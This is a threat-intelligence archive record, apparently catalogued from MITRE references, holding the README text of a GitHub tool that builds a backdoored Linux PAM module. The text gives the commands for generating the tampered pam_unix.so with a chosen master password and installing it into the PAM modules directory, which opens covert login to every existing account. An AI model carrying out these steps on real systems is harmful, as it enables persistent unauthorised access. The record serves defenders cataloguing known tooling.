{
	"id": "4d1da2d4-18c2-434b-a01d-46075512b6a9",
	"created_at": "2026-04-06T15:52:24.880284Z",
	"updated_at": "2026-04-10T03:22:10.488648Z",
	"deleted_at": null,
	"sha1_hash": "97329f3d4a5a109973fe1a5c21c0eef0ca9d1056",
	"title": "GitHub - segmentati0nf4ult/linux-pam-backdoor: Linux PAM Backdoor",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 38610,
	"plain_text": "GitHub - segmentati0nf4ult/linux-pam-backdoor: Linux PAM\r\nBackdoor\r\nBy segmentati0nf4ult\r\nArchived: 2026-04-06 15:49:23 UTC\r\nLinux PAM Backdoor\r\nThis script automates the creation of a backdoor for Linux-PAM (Pluggable Authentication Modules)\r\nUsage\r\nTo generate the backdoored pam_unix.so, just run:\r\n./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd\r\nYou have to identify the PAM version installed on the system, to make sure the script will compile the right\r\nversion. Otherwise you can break the whole system authentication.\r\nAfter the execution of the script, the last step is to copy the generated pam_unix.so to the pam modules dir on the\r\nhost.\r\ncp pam_unix.so /usr/lib/security/\r\nThat's all.\r\nAfter that, you can log-in to the system using an existing user, and the previously configured password.\r\nUse this for educational purposes only. I am not responsible for the damage you might cause.\r\nDependencies\r\nTested with Ubuntu 20.04:\r\n1.1.8 and older: failed to compile\r\n1.2.0: worked\r\n1.3.0 to 1.4.0: worked\r\nThe following packages were used:\r\napt install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-https://github.com/zephrax/linux-pam-backdoor\r\nPage 1 of 2\n\nSource: https://github.com/zephrax/linux-pam-backdoor\r\nhttps://github.com/zephrax/linux-pam-backdoor\r\nPage 2 of 2",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://github.com/zephrax/linux-pam-backdoor"
	],
	"report_names": [
		"linux-pam-backdoor"
	],
	"threat_actors": [],
	"ts_created_at": 1775490744,
	"ts_updated_at": 1775791330,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/97329f3d4a5a109973fe1a5c21c0eef0ca9d1056.pdf",
		"text": "https://archive.orkl.eu/97329f3d4a5a109973fe1a5c21c0eef0ca9d1056.txt",
		"img": "https://archive.orkl.eu/97329f3d4a5a109973fe1a5c21c0eef0ca9d1056.jpg"
	}
}